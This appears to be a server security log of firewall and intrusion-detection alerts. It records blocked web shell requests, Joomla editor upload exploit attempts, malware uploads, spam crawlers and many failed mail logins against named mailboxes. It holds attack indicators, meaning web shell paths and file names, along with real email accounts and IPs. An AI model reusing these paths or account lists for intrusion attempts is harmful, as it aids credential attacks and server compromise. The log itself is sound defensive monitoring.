IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.30 Safari/537.36||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 141.255.164.66
country_id: 2658434
domain: elegantautomotives.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/bkieuxck/fonts/dvduybzp.PHP||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.66.234.228
country_id: 3424932
description:
2026-07-10 02:03:54 dovecot_login authenticator failed for H=([58.30.60.250]) [185.66.234.228]:44940: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-10 02:04:05 dovecot_login authenticator failed for H=([24.45.137.84]) [102.210.148.41]:33278: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-07-10 02:05:53 dovecot_login authenticator failed for H=([98.188.47.130]) [203.193.168.136]:51904: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-10 02:06:16 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg ([49.124.154.172]) [121.6.81.59]:60078: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.73.162.241
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-07-10 02:10:21 dovecot_login authenticator failed for H=([74.208.177.56]) [188.126.240.80]:39544: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-10 02:10:31 dovecot_login authenticator failed for H=([111.26.62.41]) [103.55.89.5]:39460: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-07-10 02:13:55 dovecot_login authenticator failed for H=([218.21.37.250]) [50.231.243.28]:59684: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-10 02:14:23 dovecot_login authenticator failed for H=([111.26.62.45]) [182.95.189.66]:47204: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.198.61
country_id: 1835841
description:
2026-07-10 02:14:41 dovecot_login authenticator failed for H=([49.125.203.167]) [220.72.198.61]:47670: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-10 02:17:24 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-10 02:21:32 dovecot_login authenticator failed for H=(179.83.135.1.dynamic.adsl.gvt.net.br) [103.168.241.32]:49439: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.65.38.234
country_id: 1269750
description:
2026-07-10 02:22:48 dovecot_login authenticator failed for H=([222.186.68.153]) [182.65.38.234]:47022: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 202.155.186.182
country_id: 2077456
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:202.155.186.182||TA:202.155.186.182||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-10 02:26:14 dovecot_login authenticator failed for H=([51.162.192.62]) [61.37.150.6]:57085: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-07-10 02:33:09 dovecot_plain authenticator failed for H=(merousk) [154.144.243.93]:56244: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.166.170
country_id: 1835841
description:
2026-07-10 02:36:13 dovecot_login authenticator failed for H=([202.138.229.190]) [124.153.166.170]:44776: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:456040||Sizes:1315||Combined size:1315||User:alnay||WPU:||Filename:hi_3gd6fyw7.php||Scanned:/tmp//20260710-023726-alANjkhJ4rdg8LbiLNrZIAAAAUA-file-hwPUMf||SC:/home/alnay/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-10 02:40:25 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net (119.92.172.100.static.pldt.net) [80.1.51.168]:35582: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-10 02:40:44 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg (host-static-178-132-144-161.moldtelecom.md) [121.6.81.59]:50805: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: idealloanz.com.au
description:
IM360 WAF: Track file upload for Infectors||RSV:8.27||T:APACHE||SC:/home/idealloanzcom/public_html/index.php||User:idealloanzcom||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-07-10 02:47:34 dovecot_login authenticator failed for H=([212.104.70.143]) [128.185.209.30]:56442: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-10 02:48:08 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [121.128.84.224]:45856: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-10 02:54:54 dovecot_login authenticator failed for H=(158.219.199.104.bc.googleusercontent.com) [119.192.249.195]:38261: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 23.94.216.234
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:joomla-278e950cd57fa7291b9393e09f2fd0f7.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.78.54.14
country_id: 1668284
description:
2026-07-10 02:57:39 dovecot_login authenticator failed for H=(122-117-30-20.hinet-ip.hinet.net) [211.78.54.14]:41754: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-10 02:57:54 dovecot_login authenticator failed for H=([195.158.14.232]) [51.162.194.94]:56689: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-10 02:58:35 dovecot_login authenticator failed for H=([70.166.167.50]) [205.250.25.62]:44932: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:194462||Sizes:1315||Combined size:1315||User:globalgroupoman||WPU:||Filename:hi_hamhr37x.php||Scanned:/tmp//20260710-030424-alAT4Pqr2dbz5nB43ZgacQAAAIk-file-dkWO2C||SC:/home/globalgroupoman/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-10 03:04:28 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([182.74.216.124]) [67.43.243.158]:58332: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.250
country_id: 1036973
description:
2026-07-10 03:04:47 dovecot_login authenticator failed for H=([70.166.167.50]) [197.219.228.250]:33086: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-10 03:04:10 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl ([182.225.134.13]) [89.68.245.7]:35056: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-10 03:05:18 dovecot_login authenticator failed for H=([1.247.245.61]) [128.134.83.141]:43788: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-10 03:05:48 dovecot_login authenticator failed for H=([37.34.237.45]) [106.245.246.26]:50860: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-10 03:05:50 dovecot_login authenticator failed for H=([182.252.140.114]) [122.160.142.194]:35064: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-10 03:06:16 dovecot_login authenticator failed for H=(abts-north-static-233.69.160.122.airtelbroadband.in) [65.20.141.202]:51514: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-10 03:08:17 dovecot_login authenticator failed for H=(a4.ucndns.in) [102.210.148.41]:41424: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-hvac-installation-vermilion-oh.zzz-1.com/\">webpage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-10 03:08:26 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([162.251.93.214]) [37.157.91.62]:58530: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-10 03:10:24 dovecot_login authenticator failed for H=(karuna.divineled.com) [196.41.207.112]:59488: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-10 03:10:42 dovecot_login authenticator failed for H=([174.64.199.85]) [152.52.198.42]:36034: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.149.142.17
country_id: 630336
description:
2026-07-10 03:11:46 dovecot_login authenticator failed for H=(host-24-207-66-154.public.eastlink.ca) [91.149.142.17]:45727: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-10 03:12:11 dovecot_login authenticator failed for H=([49.125.203.170]) [85.18.115.154]:40915: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-10 03:12:12 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [118.220.149.121]:33996: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-10 03:12:29 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([46.183.130.145]) [90.230.115.5]:43338: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-10 03:16:45 dovecot_login authenticator failed for H=([174.75.211.196]) [210.123.87.143]:51284: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-10 03:17:49 dovecot_login authenticator failed for H=([103.68.52.210]) [213.55.79.195]:42256: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-10 03:17:02 dovecot_login authenticator failed for H=([180.149.232.33]) [220.86.176.134]:54380: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 91.92.242.143
country_id: 2750405
domain: ibmctradeflow.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.27||T:APACHE||REQUEST_URI:/sito/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-10 03:23:24 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([184.185.2.1]) [87.115.211.6]:51974: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.212.67.79
country_id: 6252001
description:
2026-07-10 03:23:38 dovecot_login authenticator failed for H=([162.253.68.102]) [38.212.67.79]:35924: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-10 03:24:14 dovecot_login authenticator failed for H=([220.82.8.82]) [182.95.181.26]:52454: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-10 03:24:36 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com (189-57-218-139.customer.tdatabrasil.net.br) [168.91.173.57]:41992: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.166
country_id: 1269750
description:
2026-07-10 03:24:45 dovecot_login authenticator failed for H=([115.43.150.20]) [182.95.181.166]:37384: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-10 03:24:54 dovecot_login authenticator failed for H=([51.162.192.62]) [15.218.135.58]:49059: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2026-07-10 03:25:26 dovecot_login authenticator failed for H=119-46-148-53.static.asianet.co.th (host-78-79-210-205.mobileonline.telia.com) [119.46.148.53]:52613: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-10 03:26:27 dovecot_login authenticator failed for H=([49.124.153.2]) [190.157.13.210]:56664: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.65.118.172
country_id: 357994
description:
2026-07-10 03:26:58 dovecot_login authenticator failed for H=(210.0.90.81.static.nexnet.net.au) [41.65.118.172]:60142: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked?lang=EN\">1v1.lol</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-10 03:29:17 dovecot_login authenticator failed for H=([87.229.254.207]) [222.120.63.29]:36415: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-10 03:32:45 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([223.70.149.210]) [111.70.38.54]:56430: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://sydney.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-10 03:33:15 dovecot_login authenticator failed for H=([182.252.140.114]) [122.160.142.194]:51046: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-10 03:33:19 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-110.155.23.125.airtelbroadband.in) [188.122.37.97]:42326: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-10 03:33:47 dovecot_login authenticator failed for H=([87.229.254.207]) [211.104.166.110]:45455: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.160.233.111
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-07-10 03:36:32 dovecot_login authenticator failed for H=([125.23.79.65]) [188.126.240.80]:38680: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-10 03:38:38 dovecot_login authenticator failed for H=(177-174-16-55.user.vivozap.com.br) [113.193.187.154]:47134: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.126.215.120
country_id: 1835841
description:
2026-07-10 03:39:49 dovecot_login authenticator failed for H=([196.189.126.185]) [220.126.215.120]:47776: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-10 03:38:53 dovecot_login authenticator failed for H=(c-76-132-238-43.hsd1.ca.comcast.net) [122.185.146.166]:54104: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-10 03:40:09 dovecot_login authenticator failed for H=([192.252.220.90]) [65.20.141.202]:35334: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.186
country_id: 1733045
description:
2026-07-10 03:40:11 dovecot_login authenticator failed for H=([192.252.208.66]) [49.124.148.186]:52794: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-10 03:40:35 dovecot_login authenticator failed for H=([117.244.16.6]) [49.206.201.253]:39782: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.161.42.97
country_id: 1835841
description:
2026-07-10 03:45:19 dovecot_login authenticator failed for H=([220.180.107.193]) [112.161.42.97]:43704: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.102
country_id: 1269750
description:
2026-07-10 03:45:35 dovecot_login authenticator failed for H=(187-8-89-120.customer.tdatabrasil.net.br) [182.95.106.102]:40774: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.62.242
country_id: 6252001
description:
2026-07-10 03:46:50 dovecot_login authenticator failed for H=wsip-68-225-62-242.pn.at.cox.net ([174.77.111.220]) [68.225.62.242]:51313: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.157.63.224
country_id: 2077456
description:
2026-07-10 03:47:02 dovecot_login authenticator failed for H=(93-42-227-251.ip88.fastwebnet.it) [120.157.63.224]:60554: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://freestyleweb.it/2020/06/16/php-e-lhtml/\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 152.42.225.238
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1783635898_xwitk.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-10 03:59:52 dovecot_login authenticator failed for H=([206.62.136.111]) [76.49.199.97]:51786: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-10 04:00:04 dovecot_login authenticator failed for H=([27.24.141.147]) [119.92.76.210]:55098: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.174
country_id: 2186224
description:
2026-07-10 04:01:04 dovecot_login authenticator failed for H=([196.28.226.125]) [121.73.163.174]:52038: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-10 04:01:15 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [106.201.237.208]:58332: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-10 04:02:19 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [41.219.149.74]:9078: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 95.214.102.249
country_id: 3144096
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 shop the watch collection (<a href=\"https://satowatch.com\">https://satowatch.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.61.192.12
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/structured-cabling-systems HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-10 04:06:57 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([206.220.175.5]) [213.65.190.48]:37470: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.22.207
country_id: 6252001
description:
2026-07-10 04:09:02 dovecot_login authenticator failed for H=([200.148.171.233]) [207.254.22.207]:53327: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.200.166
country_id: 149590
description:
2026-07-10 04:09:10 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [41.59.200.166]:41563: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.120.151.214
country_id: 3508796
description:
2026-07-10 04:09:24 dovecot_login authenticator failed for H=(40.red-81-42-225.staticip.rima-tde.net) [186.120.151.214]:52536: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.124.46
country_id: 1269750
description:
2026-07-10 04:09:27 dovecot_login authenticator failed for H=([180.71.9.31]) [122.184.124.46]:41850: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 182.6.160.40
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:135084||Sizes:1315||Combined size:1315||User:alnay||WPU:||Filename:hi_4ogshli8.php||Scanned:/tmp//20260710-041036-alAjZKu4CUvLuHG8ecv_VAAAAQs-file-iOVLsL||SC:/home/alnay/public_html/index.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-10 04:13:32 dovecot_login authenticator failed for H=([49.125.201.2]) [201.46.124.0]:5510: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.76
country_id: 1819730
description:
2026-07-10 04:14:06 dovecot_login authenticator failed for H=([170.9.53.196]) [121.202.206.76]:49802: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-10 04:14:21 dovecot_login authenticator failed for H=([175.207.233.24]) [120.29.140.188]:37539: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-10 04:14:35 dovecot_login authenticator failed for H=(ip-177-27-76-210.user.vivozap.com.br) [89.121.255.194]:30731: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 178.210.187.26
country_id: 3277605
domain: globalgroupoman.com
description:
